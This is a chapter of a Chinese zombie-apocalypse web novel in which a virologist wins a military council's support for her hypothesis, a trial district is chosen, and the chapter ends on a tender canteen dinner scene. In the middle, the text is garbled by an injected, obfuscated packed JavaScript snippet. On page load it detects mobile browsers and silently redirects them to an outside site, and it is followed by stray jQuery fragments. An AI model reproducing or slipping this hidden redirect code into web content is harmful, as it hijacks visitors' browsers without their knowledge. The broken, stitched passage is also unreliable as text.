“你们觉得理论研究没有用，可是相比丧尸本身，未知才是恐惧源头，只有真正看清它，我们才知道敌人到底什么，我们才能摸清对方的弱点精准打击，而这篇文章就是我深入了解病毒的第一步。”


    尧笙灵一口气说完，看着底下这数十双眼睛忽然有些紧张，毕竟她这篇假说能不能通过昌城发布就看这些人的想法了。


    安静半晌，从会议开始就保持沉默的江百衡举起双手缓缓鼓掌，其余人脑中的弦瞬间就松了，所有人有样学样开始鼓掌，稀稀疏疏的掌声渐渐变得沉重有力，有人双眼含泪，有人面容含笑，就连质疑者表率的千虎也毫不含糊地鼓掌，他比谁都更想减少一些牺牲。


    见尧笙灵似乎还有话说，江百衡示意静默，众人从激奋的心情中平静下来，尧笙灵暗中调整呼吸节奏，眼神再次坚定下来，“我想尽快通过昌城部队官方发布文章。”


    底下管理军备物资的乔亭马上应和，“我们可以先在部队内部检验，再向昌城群众，昌城以外的区域发布。”


    通讯主任当即机敏地点头，见众人没有什么异议，江百衡拍板，“尧博士说得很对，我们必须要给士兵信心，但是这信心不能盲目的给，如果非三代病毒感染者也被带回基地，那又会酿成其它灾难，所以如何运用理论进入实战，先用一个区进行试点，你们有没有推荐。”


    “六区，最近伤亡惨重。”


    “我不同意六区，根据六区士兵叙述，他们一些人受伤后异化成丧尸的速度很快，对于检验尧博士的三代病毒不合适。”


    “那就十区，最近一周几乎没有伤亡。”


    “......那是因为他们队长太小心了，这一周清剿进度也为零，伤亡都没有怎么试点。”


    眼见底下的人各执己见，江百衡果断点了千虎的名，“你对这个最了解，你来推荐一个合适的区域。”


    千虎犹豫两秒，看着江百衡的眼睛道，“我推荐十二区。”


    其他人：“......”


    谁不知道十二区队长是司令最近才回来的孙子，千虎这人也忒莽了。


    江百衡神情不变：“说说你的理由。”


    “刚才尧博士提到第一个病例就是十二区队长江凡，他对于这项试验接受程度肯定会远高于其他队长，不是谁都能承担带感染者进入综合区的责任，而且十二区清剿队员数量最少，远远低于其他区域，他们救援感染者承担的风险少一些，最后一点，他们虽然人少，但是清剿速度在目前划分的所有区域里属于最快的，即便目前没有因为丧尸抓咬受伤，队员受其他伤的频率也比较高，所以，我认为十二区最合适。”


    千虎耿直地说完自己的想法，左右两边的同僚却都忍不住低下头，他的意思不就是江凡负责的区域最适合承担一切风险吗？


    这让江司令怎么想？


    幸运的是，江司令什么都没有想，他认为千虎说的很有道理，他环视众人，“还有人有其他想法吗？”


    坐在边缘处的费其与率先回复，“我同意十二区作为试点。”


    江百衡点头，让人把江凡叫进来，尧笙灵眼神亮亮地看着他笔直挺拔的身影，一身戎装的江凡神情凛然，俊朗英挺，他不动声色地对着尧笙灵眨了下眼睛，随即敬礼回复道：“我会全力配合尧博士。”


    公共场合不宜有任何小动作，尤其是面对这一群人精，尧笙灵避开江凡带笑的眼神简单点头，认可了十二区作为试点。


    “好，这个节骨眼发文章必须要有后台，除了尧博士你自己的署名，可以加上昌城部队的署名。”江百衡波澜不惊地抛下一枚炸弹。


    参会众人面面相觑，尧笙灵也没想到江司令能做到这个地步，她只敢自己偷偷摸摸在心里想的事就这么被他摆到台面上。


    “虽然我们现在都相信尧博士文章内容的真实性，但是加上官方署名会不会太冒险了一点？”


    “对，检验文章内容的真伪需要大量时间，传出去可能会对部队的声誉产生影响。”


    看着大家犹豫不决的模样，尧笙灵善解人意道，“江司令，谢谢你的好意，直接签昌城部队的署名风险确实有些大，我可以加上智博生物实验室的署名，虽然比不过部队的权威性，但名气还不错。”


    江百衡自然知道对方是智博生物实验室的成员，以实验室的名义发表也是情理之中，但是，江百衡慢慢摇头，语气平静道，“我不建议你这么做。”


    其他人表情古怪，看着尧笙灵的眼神逐渐充满了探究，尧笙灵不明所以，当即有人问她，“你说的实验室，是蒋飞义名下的团队实验室？”


    “对，他是我的老师。”


    这话一出，连千虎都有点不淡定了，因为就连他这么一个只管部队事务的粗人，都听说过智博生物实验室的事。


    或者说，事故。


    “你的老师主导的病毒抗体项目前期是中心城的核心项目，具体内容我不清楚，但中心城军方第一次大批量使用智博生物实验室研究出的药物执行任务时，几乎全军覆没。”


    江司令的叙述言简意赅，但每一个字都让尧笙灵身心剧震，大家都保持安静，给了她恢复冷静的时间。


    江凡快步上前扶着她坐到椅子上，他同样是第一次得知这件事，但江凡还记得尧笙灵提起师门自豪骄傲的模样，无视其他人的眼光半蹲下来单手捧着尧笙灵的脸，“还好吗？也许事情没你想的那么糟。”


    尧笙灵心率极快，在江凡温柔的安抚下慢慢平静下来，仅仅数秒内就已经想清楚了其中种种不合理之处，“我了解我的老师，他不可能在不确定药物安全性的情况下随便给别人使用，就算药物对丧尸病毒没有用，那也不可能对人体产生副作用。”


    “你的猜测或许没错。”江百衡一双锐利的鹰眼紧紧盯着她，语速却不急不慢，“但军队的损失总要有人承担，假如他们执行任务的地点本来就凶险万分，为了加一层保障选择用药，最后这层保障却一点用都没有，谁能咽的下这口气？除了任务的发布者，必须要有其他人为这场悲剧付出代价。”


    尧笙灵语气艰涩，“那，后来实验室怎么样了？”


    “智博生物实验室被负责人蒋飞义解散，他离开中心城地下研究所，余下成员被打散分入其他项目组。”


    看着尧笙灵垂头不语的样子，江百衡心里也多少有些不是滋味，江凡那小子还瞪了自己两眼，他只是实话实话罢了。


    “尧博士，虽然群众不清楚智博生物实验室发生的事，但现存的上百个官方救援基地决策层都一清二楚，为了保障文章的第一印象，我希望你不要加上智博生物实验室的署名。”


    江百衡相当耐心，有头有尾地讲述了事情的来龙去脉，自认为利弊已经讲得够清楚了，但是，当他看到尧笙灵重新恢复神采的表情，他的眼皮又开始跳了。</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15767589|167546||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    尧笙灵将面露担忧的江凡拉起来，她转身回到会议室最前方，“我明白各位的意思，现在的智博生物实验室名称就是‘毒瘤’，起不到半点正面作用，也不会让其他救援基地信服，但我仍然决定加上智博生物实验室的署名。”


    以千虎、乔亭为首的军官一片哗然，乔亭真的急了，情急之下飚了一嘴方言，“恁那个倔妮儿，咋迷瞪了啊？”


    听见这一嗓子接地气的方言，尧笙灵讶异地笑笑，转头对江百衡道，“江司令，能不能听一下我的理由。”


    “你说。”江百衡勉强沉住气道。


    “我不需要他们看见文章的第一眼就信服，就连江凡这个活生生的例子在眼前，再加上文章作者，也就是我面对面长时间的讲解，你们才慢慢信任我，其他人凭什么相信我？”尧笙灵深吸一口气，“不管写谁的名字都不可能不经验证直接相信，所以最重要的是要让他们，或者说中心城的人看见文章内容并自行思考验证，那么我们只要让文章有噱头，够引人注目，不管这些眼神是善意还是恶意，我们都能得到自己想要的结果。”


    “你的意思是，智博生物实验室就是那个噱头？”千虎摸着下巴感叹了一声。


    “是。”


    “我同意你的想法。”江百衡沉声道，“但既然你要噱头，那就不能加昌城部队的署名。”


    “好。”


    一锤定音，将近一天的会议就此结束。


    *


    寒风萧瑟，大学食堂的灯光微弱，江凡拿着两张餐券去窗口换了两碗炒面，这就是他俩一天下来的晚饭了。


    周围没什么人了，后勤士兵的作息很规律，眼下已经过了饭点，空荡的食堂只剩下尧笙灵和江凡面对面坐着，他俩招呼都来不及打，直接埋着脑袋狂炫饭，这场会议真的快把尧笙灵烧干了，江凡今儿全天陪着她，脑细胞都死了一大片。


    炒面用量足，用胡萝卜香菇炒的，尧笙灵那一份他特地交代了要清淡口，他自己的就无所谓了，原味的炒面重油重盐，还有点辣，江凡吃得很香。


    来的路上温度低，风也凌厉，江凡就把自己的帽子给尧笙灵带着，这会尧笙灵吃得太入迷了，帽檐耷拉下来，眼看快要掉进碗里，江凡只得替她支起一点，含糊道，“别沾上油了，难洗。”


    挨过了那一阵饿劲儿，尧笙灵缓过来，抱着碗慢慢吃起来。


    “嗯？”江凡微微睁大眼睛，用筷子尖端从碗里挑起一粒肉送到尧笙灵碗里。


    尧笙灵看了好一会才看到米粒大小的肉，笑得不行，“原来是胡萝卜香菇肉丝炒面，你怎么不吃。”


    “我怕塞牙缝。”


    两人对视一眼，捂着脑袋偷乐，忽然一道庞大的身影掩盖住两人，原来是厨房阿姨拎着锅铲来了。


    尧笙灵、江凡：“......”


    冷着脸的厨房阿姨举起锅铲，江凡几乎就要上前护住尧笙灵，却见对方用高超的手艺往两个碗里一人加了一个煎蛋，面无表情道：“多的。”


    随后她又马不停蹄地离开了。


    尧笙灵看着这个金黄焦香的煎蛋，眼圈慢慢染红，她低着头慢慢将“多的”煎蛋吃完，还没恢复过于感性的情绪，碗里又拨过来一个煎蛋。


    她呆呆地抬起头，眼里还有些朦胧的雾气。


    江凡神情自若道，“我不爱吃鸡蛋。”


    所以这个也是“多的”。